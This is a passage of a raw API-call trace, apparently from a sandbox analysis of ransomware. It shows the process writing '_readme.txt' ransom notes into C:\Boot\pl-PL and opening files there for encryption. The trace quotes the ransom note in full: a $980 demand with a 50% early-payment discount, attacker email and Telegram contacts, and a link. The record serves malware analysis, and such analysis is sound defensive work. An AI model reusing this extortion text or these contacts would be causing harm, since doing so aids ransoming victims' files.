dwFlags=0x0, lpMem=0x3947d10 | out: hHeap=0xd10000) returned 1 [0116.709] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d10 [0116.709] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x840) returned 0x39dc2a8 [0116.709] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.709] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d10 | out: hHeap=0xd10000) returned 1 [0116.709] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d10 [0116.709] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0116.709] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xc2e) returned 0x39f3ef0 [0116.710] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.710] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f3ef0 | out: hHeap=0xd10000) returned 1 [0116.710] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d10 | out: hHeap=0xd10000) returned 1 [0116.710] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d10 [0116.710] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0116.710] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.710] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d10 | out: hHeap=0xd10000) returned 1 [0116.710] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d10 [0116.710] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x840) returned 0x39dc2a8 [0116.710] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.710] PathFindFileNameW (pszPath="C:\\Boot\\pl-PL\\") returned="pl-PL\\" [0116.710] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947cc0 [0116.710] PathFindFileNameW (pszPath="C:\\Boot\\") returned="Boot\\" [0116.710] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0116.710] PathFindFileNameW (pszPath="") returned="" [0116.710] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947cc0 [0116.710] LoadLibraryW (lpLibFileName="Shell32.dll") returned 0x75900000 [0116.710] GetProcAddress (hModule=0x75900000, lpProcName="SHGetFolderPathW") returned 0x75985708 [0116.710] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x800) returned 0x39f3ef0 [0116.710] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x39f3ef0 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned 0x0 [0116.711] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x810) returned 0x39f46f8 [0116.711] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d10 [0116.711] FreeLibrary (hLibModule=0x75900000) returned 1 [0116.711] PathAppendW (in: pszPath="C:\\Boot\\pl-PL\\", pMore="_readme.txt" | out: pszPath="C:\\Boot\\pl-PL\\_readme.txt") returned 1 [0116.711] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dcb30 [0116.711] PathFileExistsW (pszPath="C:\\Boot\\pl-PL\\_readme.txt") returned 0 [0116.711] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x7d00) returned 0x39f9f20 [0116.711] lstrcpyW (in: lpString1=0x39f9f20, lpString2="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-JBwR4re7bR\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n119Asd3768237Ihsdf" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-JBwR4re7bR\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n119Asd3768237Ihsdf") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-JBwR4re7bR\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n119Asd3768237Ihsdf" [0116.711] lstrcatW (in: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-JBwR4re7bR\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n119Asd3768237Ihsdf", lpString2="H3PV8fldTq47v21WR3xhffth4dEifHUp4i0OhE2L" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-JBwR4re7bR\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n119Asd3768237IhsdfH3PV8fldTq47v21WR3xhffth4dEifHUp4i0OhE2L") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-JBwR4re7bR\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n119Asd3768237IhsdfH3PV8fldTq47v21WR3xhffth4dEifHUp4i0OhE2L" [0116.711] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dd3b8 [0116.711] CreateFileW (lpFileName="C:\\Boot\\pl-PL\\_readme.txt" (normalized: "c:\\boot\\pl-pl\\_readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0116.711] FindFirstFileW (in: lpFileName="C:\\Boot\\pl-PL\\*", lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x39836e0 [0116.711] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0116.711] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe9e5ad4a, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16250, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0116.711] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d38 [0116.711] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x40) returned 0x3960e70 [0116.712] PathFindExtensionW (pszPath="C:\\Boot\\pl-PL\\bootmgr.exe.mui") returned=".mui" [0116.712] CreateFileW (lpFileName="C:\\Boot\\pl-PL\\bootmgr.exe.mui" (normalized: "c:\\boot\\pl-pl\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0116.712] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3960e70 | out: hHeap=0xd10000) returned 1 [0116.712] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe9e5ad4a, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16250, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0116.712] FindClose (in: hFindFile=0x39836e0 | out: hFindFile=0x39836e0) returned 1 [0116.712] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dcb30 | out: hHeap=0xd10000) returned 1 [0116.712] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947b58 | out: hHeap=0xd10000) returned 1 [0116.712] PeekMessageW (in: lpMsg=0x405ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x405ff08) returned 0 [0116.712] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947b58 [0116.712] PeekMessageW (in: lpMsg=0x405fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x405fb74) returned 0 [0116.712] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d38 [0116.712] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dcb30 [0116.712] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dcb30 | out: hHeap=0xd10000) returned 1 [0116.712] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d38 | out: hHeap=0xd10000) returned 1 [0116.712] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d38 [0116.712] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dcb30 [0116.712] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dcb30 | out: hHeap=0xd10000) returned 1 [0116.712] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d38 | out: hHeap=0xd10000) returned 1 [0116.712] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d38 [0116.712] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dcb30 [0116.712] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dcb30 | out: hHeap=0xd10000) returned 1 [0116.712] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d38 | out: hHeap=0xd10000) returned 1 [0116.712] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d38 [0116.712] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dcb30 [0116.712] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dcb30 | out: hHeap=0xd10000) returned 1 [0116.712] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d38 | out: hHeap=0xd10000) returned 1 [0116.713] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d38 [0116.713] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dcb30 [0116.713] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dcb30 | out: hHeap=0xd10000) returned 1 [0116.713] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d38 | out: hHeap=0xd10000) returned 1 [0116.713] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d38 [0116.713] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x840) returned 0x39dcb30 [0116.713] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dcb30 | out: hHeap=0xd10000) returned 1 [0116.713] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d38 | out: hHeap=0xd10000) returned 1 [0116.713] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d38 [0116.713] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dcb30 [0116.713] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xc2e) returned 0x39f3ef0 [0116.713] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dcb30 | out: hHeap=0xd10000) returned 1 [0116.713] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f3ef0 | out: hHeap=0xd10000) returned 1 [0116.713] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d38 | out: hHeap=0xd10000) returned 1 [0116.713] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d38 [0116.713] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dcb30 [0116.713] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dcb30 | out: hHeap=0xd10000) returned 1 [0116.713] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d38 | out: hHeap=0xd10000) returned 1 [0116.713] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d38 [0116.713] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x840) returned 0x39dcb30 [0116.713] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dcb30 | out: hHeap=0xd10000) returned 1 [0116.713] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d38 | out: hHeap=0xd10000) returned 1 [0116.713] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d38 [0116.713] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x860) returned 0x39f3ef0 [0116.713] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f3ef0 | out: hHeap=0xd10000) returned 1 [0116.713] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d38 | out: hHeap=0xd10000) returned 1 [0116.713] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d38 [0116.713] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x860) returned 0x39f3ef0 [0116.713] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f3ef0 | out: hHeap=0xd10000) returned 1 [0116.713] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d38 | out: hHeap=0xd10000) returned 1 [0116.713] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d38 [0116.714] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dcb30 [0116.714] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dcb30 | out: hHeap=0xd10000) returned 1 [0116.714] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d38 | out: hHeap=0xd10000) returned 1 [0116.714] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d38 [0116.714] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dcb30 [0116.714] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dcb30 | out: hHeap=0xd10000) returned 1 [0116.714] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d38 | out: hHeap=0xd10000) returned 1 [0116.714] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d38 [0116.714] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x840) returned 0x39dcb30 [0116.714] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dcb30 | out: hHeap=0xd10000) returned 1 [0116.714] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d38 | out: hHeap=0xd10000) returned 1 [0116.714] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d38 [0116.714] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x840) returned 0x39dcb30 [0116.714] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dcb30 | out: hHeap=0xd10000) returned 1 [0116.714] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d38 | out: hHeap=0xd10000) returned 1 [0116.714] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d38 [0116.714] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dcb30 [0116.714] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dcb30 | out: hHeap=0xd10000) returned 1 [0116.714] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d38 | out: hHeap=0xd10000) returned 1 [0116.714] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d38 [0116.714] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dcb30 [0116.714] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dcb30 | out: hHeap=0xd10000) returned 1 [0116.714] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d38 | out: hHeap=0xd10000) returned 1 [0116.714] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d38 [0116.714] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dcb30 [0116.714] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dcb30 | out: hHeap=0xd10000) returned 1 [0116.714] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d38 | out: hHeap=0xd10000) returned 1 [0116.714] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d38 [0116.714] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dcb30 [0116.714] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dcb30 | out: hHeap=0xd10000) returned 1 [0116.715] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d38 | out: hHeap=0xd10000) returned 1 [0116.715] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d38 [0116.715] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dcb30 [0116.715] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dcb30 | out: hHeap=0xd10000) returned 1 [0116.715] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d38 | out: hHeap=0xd10000) returned 1 [0116.715] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d38 [0116.715] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dcb30 [0116.715] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dcb30 | out: hHeap=0xd10000) returned 1 [0116.715] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d38 | out: hHeap=0xd10000) returned 1 [0116.715] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d38 [0116.715] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dcb30 [0116.715] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dcb30 | out: hHeap=0xd10000) returned 1 [0116.715] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d38 | out: hHeap=0xd10000) returned 1 [0116.715] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d38 [0116.715] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dcb30 [0116.715] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xc46) returned 0x39f3ef0 [0116.715] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dcb30 | out: hHeap=0xd10000) returned 1 [0116.715] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f3ef0 | out: hHeap=0xd10000) returned 1 [0116.715] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d38 | out: hHeap=0xd10000) returned 1 [0116.715] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d38 [0116.715] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dcb30 [0116.715] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dcb30 | out: hHeap=0xd10000) returned 1 [0116.715] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d38 | out: hHeap=0xd10000) returned 1 [0116.715] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d38 [0116.715] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dcb30 [0116.715] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xc2e) returned 0x39f3ef0 [0116.715] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dcb30 | out: hHeap=0xd10000) returned 1 [0116.715] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f3ef0 | out: hHeap=0xd10000) returned 1 [0116.715] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d38 | out: hHeap=0xd10000) returned 1 [0116.715] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d38 [0116.715] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x860) returned 0x39f3ef0 [0116.716] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f3ef0 | out: hHeap=0xd10000) returned 1 [0116.716] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d38 | out: hHeap=0xd10000) returned 1 [0116.716] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d38 [0116.716] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x860) returned 0x39f3ef0 [0116.716] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f3ef0 | out: hHeap=0xd10000) returned 1 [0116.716] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d38 | out: hHeap=0xd10000) returned 1 [0116.716] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d38 [0116.716] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dcb30 [0116.716] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dcb30 | out: hHeap=0xd10000) returned 1 [0116.716] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d38 | out: hHeap=0xd10000) returned 1 [0116.716] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d38 [0116.716] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dcb30 [0116.716] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dcb30 | out: hHeap=0xd10000) returned 1 [0116.716] HeapFree (in: hHeap=0xd10000, 